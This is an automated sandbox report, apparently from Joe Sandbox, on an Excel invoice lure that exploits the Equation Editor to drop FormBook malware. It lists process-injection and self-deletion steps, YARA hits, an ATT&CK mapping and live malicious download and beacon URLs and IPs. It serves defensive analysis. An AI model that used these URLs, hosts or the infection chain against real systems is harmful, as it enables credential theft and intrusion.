Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Thread register set: target process: 1860			Jump to behavior
Source: C:\Windows\SysWOW64\wuapp.exe	Thread register set: target process: 1860			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yldnat.exe	Process created: C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna	Jump to behavior
Source: C:\Windows\SysWOW64\wuapp.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\yldnat.exe"	Jump to behavior

Source: explorer.exe, 00000007.00000000.1003147804.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.988533014.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.1014113528.0000000000830000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.1002666378.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1003147804.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.988533014.0000000000830000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000007.00000000.1003147804.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.988533014.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.1014113528.0000000000830000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager<

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Code function: 5_2_013B3283 cpuid

5_2_013B3283

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\yldnat.exe

Code function: 5_2_013B3EC8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_013B3EC8

Source: C:\Users\Public\vbc.exe

4_2_00403646

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 6.0.yldnat.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.yldnat.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.yldnat.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.yldnat.exe.120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.yldnat.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 6.0.yldnat.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.yldnat.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.yldnat.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.yldnat.exe.120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.yldnat.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.yldnat.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	1 Access Token Manipulation	111 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	11 Native API	Boot or Logon Initialization Scripts	612 Process Injection	2 Virtualization/Sandbox Evasion	LSASS Memory	251 Security Software Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	35 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Shared Modules	Logon Script (Windows)	Logon Script (Windows)	1 Access Token Manipulation	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	23 Exploitation for Client Execution	Logon Script (Mac)	Logon Script (Mac)	612 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	123 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Scripting	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	2 Obfuscated Files or Information	DCSync	116 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Software Packing	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
DL03327INV.xlsx	38%	Virustotal		Browse
DL03327INV.xlsx	27%	ReversingLabs	Document-OLE.Exploit.CVE-2018-0802

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	51%	ReversingLabs	Win32.Trojan.FormBook
C:\Users\Public\vbc.exe	51%	ReversingLabs	Win32.Trojan.FormBook

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.2.yldnat.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
5.2.yldnat.exe.120000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
2.3.EQNEDT32.EXE.6af7ba.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
6.0.yldnat.exe.400000.9.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.0.yldnat.exe.400000.5.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.0.yldnat.exe.400000.7.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
www.tw-life.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.yiwanggkm.com/nc39/?dZzp=SW2DOu4AoD1tt2PaEEhiNvSk2qD2OpQeAcSR0NEUE8SsNGniN/+F24NqGXKX7Cj1ljS/6Q==&3f=j6AdrVwh	0%	Avira URL Cloud	safe
http://wellformedweb.org/CommentAPI/	0%	URL Reputation	safe
http://www.tw-life.net/nc39/?dZzp=Td3Z6WACWlvn2oxJ5kz3cAAvTYM+vx9a0mv4ko18Io/mhbtUurGZKYFJi0A4+N8FDsGh8g==&3f=j6AdrVwh	0%	Avira URL Cloud	safe
www.arjimni.com/nc39/	100%	Avira URL Cloud	malware
http://www.arjimni.com/nc39/?dZzp=SWFeU2CogosqNHNVddu3ZSSiHhx9YO5iIr2cqOlbYRvwZbqC6rJ+ufxHmetPGTnqGTEg+w==&3f=j6AdrVwh	100%	Avira URL Cloud	malware
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://104.168.33.31/75/vbc.exehhC:	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://treyresearch.net	0%	URL Reputation	safe
http://java.sun.com	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://104.168.33.31/75/vbc.exe	100%	Avira URL Cloud	malware
http://104.168.33.31/75/vbc.exej	0%	Avira URL Cloud	safe
http://computername/printers/printername/.printer	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.contractornurd.com/nc39/?dZzp=CWrF3poHj2MNQw4FqfZfOWFDC9Dy9qwGAafxJUMNhkwMJpF8RUBmV1WHKbaf9sKHKobluA==&3f=j6AdrVwh	100%	Avira URL Cloud	malware
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.tw-life.net	164.155.217.57	true	true	0%, Virustotal, Browse	unknown
parkingpage.namecheap.com	198.54.117.212	true	false		high
www.yiwanggkm.com	23.81.214.26	true	true		unknown
hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com	18.119.154.66	true	false		high
arjimni.com	34.102.136.180	true	false		unknown
www.arjimni.com	unknown	unknown	true		unknown
www.contractornurd.com	unknown	unknown	true		unknown
www.skinclash.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.yiwanggkm.com/nc39/?dZzp=SW2DOu4AoD1tt2PaEEhiNvSk2qD2OpQeAcSR0NEUE8SsNGniN/+F24NqGXKX7Cj1ljS/6Q==&3f=j6AdrVwh	true	Avira URL Cloud: safe	unknown
http://www.tw-life.net/nc39/?dZzp=Td3Z6WACWlvn2oxJ5kz3cAAvTYM+vx9a0mv4ko18Io/mhbtUurGZKYFJi0A4+N8FDsGh8g==&3f=j6AdrVwh	true	Avira URL Cloud: safe	unknown
www.arjimni.com/nc39/	true	Avira URL Cloud: malware	low
http://www.arjimni.com/nc39/?dZzp=SWFeU2CogosqNHNVddu3ZSSiHhx9YO5iIr2cqOlbYRvwZbqC6rJ+ufxHmetPGTnqGTEg+w==&3f=j6AdrVwh	false	Avira URL Cloud: malware	unknown
http://104.168.33.31/75/vbc.exe	true	Avira URL Cloud: malware	unknown
http://www.contractornurd.com/nc39/?dZzp=CWrF3poHj2MNQw4FqfZfOWFDC9Dy9qwGAafxJUMNhkwMJpF8RUBmV1WHKbaf9sKHKobluA==&3f=j6AdrVwh	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.windows.com/pctv.	explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://investor.msn.com	explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://wellformedweb.org/CommentAPI/	explorer.exe, 00000007.00000000.1019001210.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iis.fhg.de/audioPA	explorer.exe, 00000007.00000000.1019001210.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.piriform.com/ccleanerq	explorer.exe, 00000007.00000000.1015998007.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1071039162.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.992782338.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1004984463.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.piriform.com/ccleaner1SPS0	explorer.exe, 00000007.00000000.1011703149.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1000245149.0000000008611000.00000004.00000001.00020000.00000000.sdmp	false		high
http://104.168.33.31/75/vbc.exehhC:	EQNEDT32.EXE, 00000002.00000002.971169653.000000000061F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	vbc.exe, 00000004.00000000.968426551.000000000040A000.00000008.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000002.994811591.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe.2.dr, vbc[1].exe.2.dr	false		high
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	explorer.exe, 00000007.00000000.1005695015.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://treyresearch.net	explorer.exe, 00000007.00000000.1019001210.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	explorer.exe, 00000007.00000000.1005695015.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	false		high
http://java.sun.com	explorer.exe, 00000007.00000000.1002666378.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1013668691.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987463159.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069523800.0000000000335000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.icra.org/vocabulary/.	explorer.exe, 00000007.00000000.1005695015.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	explorer.exe, 00000007.00000000.1070008053.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	false		high
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 00000007.00000000.1022834782.0000000008512000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1023411873.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1000541349.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1023540631.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1018121045.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1074287002.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.999862011.0000000008512000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069574104.00000000003A6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.995167898.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1007078757.0000000004385000.00000004.00000001.00020000.00000000.sdmp	false		high
http://investor.msn.com/	explorer.exe, 00000007.00000000.993545742.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://www.piriform.com/ccleaner	explorer.exe, 00000007.00000000.1022782803.00000000084C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1023411873.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1015998007.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1000541349.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1023540631.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1071039162.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.992782338.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1018121045.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1074287002.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.999862011.0000000008512000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069574104.00000000003A6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.995167898.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1004984463.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1007078757.0000000004385000.00000004.00000001.00020000.00000000.sdmp	false		high
http://104.168.33.31/75/vbc.exej	EQNEDT32.EXE, 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://computername/printers/printername/.printer	explorer.exe, 00000007.00000000.1019001210.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.%s.comPA	explorer.exe, 00000007.00000000.1070008053.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	low
http://www.autoitscript.com/autoit3	explorer.exe, 00000007.00000000.1002666378.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1013668691.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987463159.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069523800.0000000000335000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org	explorer.exe, 00000007.00000000.1002666378.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1013668691.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987463159.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1069523800.0000000000335000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.piriform.com/ccleanerv	explorer.exe, 00000007.00000000.1018121045.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1074287002.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.995167898.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1007078757.0000000004385000.00000004.00000001.00020000.00000000.sdmp	false		high
http://servername/isapibackend.dll	explorer.exe, 00000007.00000000.1008792318.0000000006450000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.81.214.26	www.yiwanggkm.com	United States	396190	LEASEWEB-USA-SEA-10US	true
34.102.136.180	arjimni.com	United States	15169	GOOGLEUS	false
198.54.117.212	parkingpage.namecheap.com	United States	22612	NAMECHEAP-NETUS	false
104.168.33.31	unknown	United States	36352	AS-COLOCROSSINGUS	true
164.155.217.57	www.tw-life.net	South Africa	26484	IKGUL-26484US	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	626601
Start date and time: 14/05/202215:18:09	2022-05-14 15:18:09 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	DL03327INV.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@11/16@5/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 42.8% (good quality ratio 41.1%) Quality average: 75% Quality standard deviation: 28%
HCA Information:	Successful, ratio: 100% Number of executed functions: 118 Number of non-executed functions: 62
Cookbook Comments:	Found application associated with file extension: .xlsx Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, conhost.exe, svchost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:18:43	API Interceptor	102x Sleep call for process: EQNEDT32.EXE modified
15:18:57	API Interceptor	35x Sleep call for process: yldnat.exe modified
15:19:19	API Interceptor	208x Sleep call for process: wuapp.exe modified
15:20:04	API Interceptor	1x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
198.54.117.212	Notificaci#U00f3n de pago.exe	Get hash	malicious	Browse	www.evertribute.com/d6fp/?7nxh=0IAMhpyfM6TyxYvNuQBLxFd+VBe1OVp7bFg/8SsVn3OL4Z0v7SAtnQzd8ZWN+7APMfoM&q6AlF=0txdQnwxgb
	DHL Shipment doc.exe	Get hash	malicious	Browse	www.jenaeeaginshair.com/h4st/?S0GPjB=q70XfpQZmlAB2auGq1hAkZwSf/NS/wp1Irfs0GTn4KVIkT9NIixf66nFmV9/9WE3amkk&WBZ89=7nHdAXGHjvCt
	TyTasyWsK7.exe	Get hash	malicious	Browse	www.mexicomakes.com/rx29/?v6AhC=MN6pkdshnX0P5&7nr=k5ydulq9kPFauAtXvUGEfm+Uw3krzuQ4zk6zyAvK/KFYX5MlPt6Zlf43oC2uvGdjiRwp78uJoA==
	hJyWzS4AWx.exe	Get hash	malicious	Browse	www.fliptheswitch.pro/arh2/?jBSH34H=T/WlQli/iOW99vugx1+QnTRsOFuzNIELOhX8iakrfqWoxVhOncDhQuop0wYTMOKLFMsk&zJ=tbAl28e0JZ
	Docs advice copy.exe	Get hash	malicious	Browse	www.wakechallenge.com/gt53/?sX=6pE3ju96WQK0+B5ULgyQSatX/FOaFjpxiDjz3RqOeHNV7XNVwIejoEIqabcy68HR6G0I&9rN0g=iZRXo
	8aHgrjlJZX.exe	Get hash	malicious	Browse	www.themastersmindinternational.net/b26k/?2dO83=023S549G5s7+49AjU60mm3bsBMFCFqgWpKNz3h7pkzB548FzE5lHxr+z5Qhpl82he0RD&6lJt0=fV74GZDPWxkXVl0P
	Order-Invoice.xlsx	Get hash	malicious	Browse	www.xmasshoppinglist.com/n6g4/?AN90=3fRxr0YPkX0X&4hP=lk1Ytgy5J4brT9zaTqBsrOyQYj13WzRH2814vK/rD7m77rdlYSBBfE0669SGmlpsTkybbA==
	shedy.exe	Get hash	malicious	Browse	www.stirredbythesea.com/rscu/?i6A=arxSzfx+vy09ymVDbp0Epd8jJd3v6Kyn3ZWBqZhnCJdzZczZyGypOb/Ffi3DmoNTXddL&_L04=DBZX-ZDHenAT
	Invoice.xlsx	Get hash	malicious	Browse	www.backgammondestinations.net/grh2/?5j=saa8PMbNBjJbbZ+5JbPWtFeepLhSMVnKDuIDi4YjDbFx6SC3hMpc2U1V4hUA4JY6D+3V1w==&Jtxhc=Q6TdP0BHU
	Att#1 Price Schedule Piping Blasting & Painting Works.exe	Get hash	malicious	Browse	www.datashen.com/m3ci/?P6MpQr=3fZxO8l8KfdxY&A6Eh0NIX=IK5OCHgBJEmbaHMkAAXzhCR4GjUUUUmjfl7IzxUaHJbHTPnaMaSNGqiN8WYWgIpKB17S
	Purchase Order.pdf.exe	Get hash	malicious	Browse	www.popcornpor.xyz/j86w/?B6Y0=otBjagVTshBG9PMS6CzAiq+mY2TM3/piC6jpHh6IKngkOkHz0iRr8aevGg3SgtsHi0+h&6l3=7nJpZxY0EPl0
	SecuriteInfo.com.Variant.MSILHeracles.26442.6256.exe	Get hash	malicious	Browse	www.asla-startrans.com/vmqm/?XdyT6=+EEgIBo2TvWWXNzyvuMfn5+Z7EtEbRmFCmkQ0AMAvXSsdH0obtQwD6bjpg7FAm2p0DAs&p67=q8kPXdH0Dlg
	SOA.exe	Get hash	malicious	Browse	www.xpressporn.com/3e9r/?Yf9D0lTh=FQdCPUjhXotQoJ4CKAJtfTWZByK+Ojq+iU8IovunNytQ5TMwAp07fKSIvwuA9ysCmDpq&u0Dl=Q4CDzbR0oNK4Ej6
	SecuriteInfo.com.W32.AIDetectNet.01.26901.exe	Get hash	malicious	Browse	www.whoreal.net/ahge/?3fBt7b-=QXqSep6ezCFu2G/MW+1Tdu7nu5PwS3oIzH2xWGXsUC7w6nIkdzZdA1SYR8s134ZRgM+iOr0q0g==&e6BL=HFQDdRSP8d
	CHECKLIST2200030 NEW ORDER.PDF.exe	Get hash	malicious	Browse	www.dec2005.xyz/g5so/?x6TXzDm=pd9eJYIiKEbx0YgrSOb1By14PZFH7gzgIWi0B/tVurCGPmd3qIAYQPrLIm4ze8RM5paj&khZ4k4=7nwTY
	DHL.exe	Get hash	malicious	Browse	www.starcycleglobal.com/a5qd/?JRTXBj=Oa2nZ+2xQG4CaRxNsyIIV+X5yWhkVEnxgErb9O844iygrnkmNvzo/FIaL1UiU28mLXL5&w0GP1=HL08TPDH
